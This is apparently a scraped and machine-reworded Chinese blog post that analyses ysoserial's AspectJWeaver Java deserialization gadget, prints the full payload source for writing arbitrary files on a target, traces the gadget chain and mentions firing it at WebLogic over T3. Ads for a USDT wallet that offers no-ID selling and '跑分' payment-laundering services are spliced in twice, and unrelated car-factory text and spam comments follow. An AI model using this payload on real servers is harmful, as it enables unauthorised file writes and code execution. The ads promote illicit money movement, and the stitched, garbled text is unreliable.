菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。
昨天在挖weblogic破绽时发现ysoserial更新了一个新的gadget AspectJWeaver,今天剖析一下。
剖析
先看下yso给出的payload
package ysoserial.payloads; import org.apache.commons.codec.binary.Base64; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections; import java.io.Serializable; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; import java.util.HashSet; import java.util.Map; /* Gadget chain: HashSet.readObject() HashMap.put() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() SimpleCache$StorableCachingMap.put() SimpleCache$StorableCachingMap.writeToPath() FileOutputStream.write() Usage: args = "<filename>;<base64 content>" Example: java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ==" More information: https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5 */ @PayloadTest(skip="non RCE") @SuppressWarnings({"rawtypes", "unchecked"}) @Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"}) @Authors({ Authors.JANG }) public class AspectJWeaver implements ObjectPayload<Serializable> { public Serializable getObject(final String command) throws Exception { int sep = command.lastIndexOf(';'); if ( sep < 0 ) { throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>"); } String[] parts = command.split(";"); String filename = parts[0]; byte[] content = Base64.decodeBase64(parts[1]); Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Object simpleCache = ctor.newInstance(".", 12); Transformer ct = new ConstantTransformer(content); Map lazyMap = LazyMap.decorate((Map)simpleCache, ct); TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); HashSet map = new HashSet(1); map.add("foo"); Field f = null; try { f = HashSet.class.getDeclaredField("map"); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap"); } Reflections.setAccessible(f); HashMap innimpl = (HashMap) f.get(map); Field f2 = null; try { f2 = HashMap.class.getDeclaredField("table"); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData"); } Reflections.setAccessible(f2); Object[] array = (Object[]) f2.get(innimpl); Object node = array[0]; if(node == null){ node = array[1]; } Field keyField = null; try{ keyField = node.getClass().getDeclaredField("key"); }catch(Exception e){ keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); } Reflections.setAccessible(keyField); keyField.set(node, entry); return map; } public static void main(String[] args) throws Exception { args = new String[]{"ahi.txt;YWhpaGloaQ=="}; PayloadRunner.run(AspectJWeaver.class, args); } }
先看客栈后半段
org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap,writeToPath
writeToPath中key和value分别是文件名和内容。
org.aspectj.weaver.tools.cache.SimpleCache.StoreableCachingMap,put
中挪用了writeToPath。
现在若是反序列化时可以触发put方式,就可以自动写入文件。
再通过正向头脑看前半段,我们的目的是寻找put方式挪用。
,,菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。
在HashSet类的readObject中
进行了map.put,跟进
跟进hash()
这里自动挪用了key.hashCode()即org.apache.commons.collections.keyvalue.TiedMapEntry,hashCode
hashCode()自动挪用了getValue()
getValue()又挪用自身map字段的get方式。自身map字段为Map类型,而在org.apache.commons.collections.map.LazyMap,get
中进行了put方式,接上了我们后半段的put方式。
到此整条链就竣事了,算是比较简单的一条gadget。
这条链我通过T3打过去,发现weblogic已经过滤了org.apache.commons.collections.functors
包名,信赖不久就会泛起新的绕过。
参考
- 我在weblogic服务器12.2.1.3.0中找到了一个新的RCE gadget
平台很靠谱
这些提议意味着可能是现代隶属公司起亚汽车公司在佐治亚州的一家工厂组装汽车,或在该国建设新工厂。据信,设计将在2024年生产约100,000辆汽车,该工厂的年产能将到达40万辆。蛮用心的
有创意